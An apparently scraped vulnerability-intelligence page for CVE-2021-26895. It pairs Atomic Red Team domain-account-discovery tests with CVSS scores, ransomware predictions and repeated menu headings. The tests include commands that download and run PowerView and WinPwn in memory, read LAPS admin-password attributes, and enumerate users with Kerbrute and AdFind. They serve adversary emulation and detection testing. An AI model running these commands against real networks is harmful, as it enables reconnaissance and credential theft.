Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}

T1087.002 Enumerate Default Domain Admin Details (Domain) Windows CMD

This test will enumerate the details of the built-in domain admin account

Command (CMD)

net user administrator /domain

T1087.002 Enumerate Linked Policies In ADSISearcher Discovery Windows PowerShell

The following Atomic test will utilize ADSISearcher to enumerate organizational unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...

Command (PowerShell)

(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}

T1087.002 Enumerate Root Domain linked policies Discovery Windows PowerShell

The following Atomic test will utilize ADSISearcher to enumerate root domain unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...

Command (PowerShell)

(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}

T1087.002 Enumerate all accounts (Domain) Windows CMD

Enumerate all accounts Upon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session

Command (CMD)

net user /domain
net group /domain

T1087.002 Enumerate all accounts via PowerShell (Domain) Windows PowerShell

Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.

Command (PowerShell)

net user /domain
get-localgroupmember -group Users
get-aduser -filter *

T1087.002 Enumerate logged on users via CMD (Domain) Windows CMD

Enumerate logged on users. Upon exeuction, logged on users will be displayed.

Command (CMD)

query user /SERVER:#{computer_name}

T1087.002 Get-DomainUser with PowerView Windows PowerShell

Utilizing PowerView, run Get-DomainUser to identify the domain users. Upon execution, Users within the domain will be listed.

Command (PowerShell)

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose

T1087.002 Kerbrute - userenum Windows PowerShell

Enumerates active directory usernames using the userenum function of Kerbrute

Command (PowerShell)

cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"

T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties Windows PowerShell

This test executes LDAP query using powershell command Get-ADComputer and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime

Command (PowerShell)

Get-ADComputer #{hostname} -Properties *

T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope Windows PowerShell

This test executes LDAP query using powershell command Get-ADComputer with SearchScope as subtree and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime

Command (PowerShell)

Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *

T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property Windows PowerShell

This test executes LDAP query using powershell command Get-ADComputer and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime

Command (PowerShell)

Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime

T1087.002 Suspicious LAPS Attributes Query with adfind all properties Windows PowerShell

This test executes LDAP query using adfind command and lists all the attributes including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime

Command (PowerShell)

& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *

T1087.002 Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd Windows PowerShell

This test executes LDAP query using adfind command and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime

Command (PowerShell)

& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime

T1087.002 Wevtutil - Discover NTLM Users Remote Windows PowerShell

This test discovers users who have authenticated against a Domain Controller via NTLM. This is done remotely via wmic and captures the event code 4776 from the domain controller and stores the ouput in C:\temp. [Reference](https://www.reliaquest.com/blog/socgholish-fakeupdates/)

Command (PowerShell)

$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'

T1087.002 WinPwn - generaldomaininfo Windows PowerShell

Gathers general domain information using the generaldomaininfo function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput

Title	Tags	URL
nvd.nist.gov	NVD reference	https://nvd.nist.gov/vuln/detail/CVE-2021-26895
portal.msrc.microsoft.com	GitHub CVE x_refsource_MISC	https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26895

CVSS Analysis

CVSS v3.1

9.8

EXPLOITABILITY

Attack Vector

Network AV:N

Attack Complexity

Low AC:L

Privileges Required

None PR:N

User Interaction

None UI:N

SCOPE

Scope

Unchanged S:U

IMPACT

Confidentiality

High C:H

Integrity

High I:H

Availability

High A:H

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C

Prioritization

KEV Prediction

1.2%

Percentile

13%

LEV

9.9%

SSVC

Decision

Act

Exploitation

Active

Automatable

Yes

Technical Impact

Total

Threat Level

CISA KEV

Exploited in Wild

Exploit Available

PoC Available

Ransomware

YES

Ransomware Intelligence

Associated Groups

Predictions

bianlian (552)

blackbasta (523)

bian lian

Magic Hound

4 group(s) • 4 predicted

CVE-2021-26895

Overview

Vulnerability Description

Impact

Solution

EPSS vs KEV Prediction — Evolution (30 days)

Ransomware Intelligence

Predictions

Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.

Full Analysis

Affected Products (10)

Exploits

Threat Feed

Likely Kill Chain

Attack Vectors ML

MITRE ATT&CK Techniques (6)

CAPEC Attack Patterns

Red Team Playbook

Detection & Response Rules

References (2)

CVE-2021-26895

Overview

Vulnerability Description

Impact

Solution

EPSS vs KEV Prediction — Evolution (30 days)

Ransomware Intelligence

Predictions Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.

Full Analysis

Affected Products (10)

Exploits

Threat Feed

Likely Kill Chain

Attack Vectors ML

MITRE ATT&CK Techniques (6)

CAPEC Attack Patterns

Red Team Playbook

Detection & Response Rules

References (2)

Predictions

Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.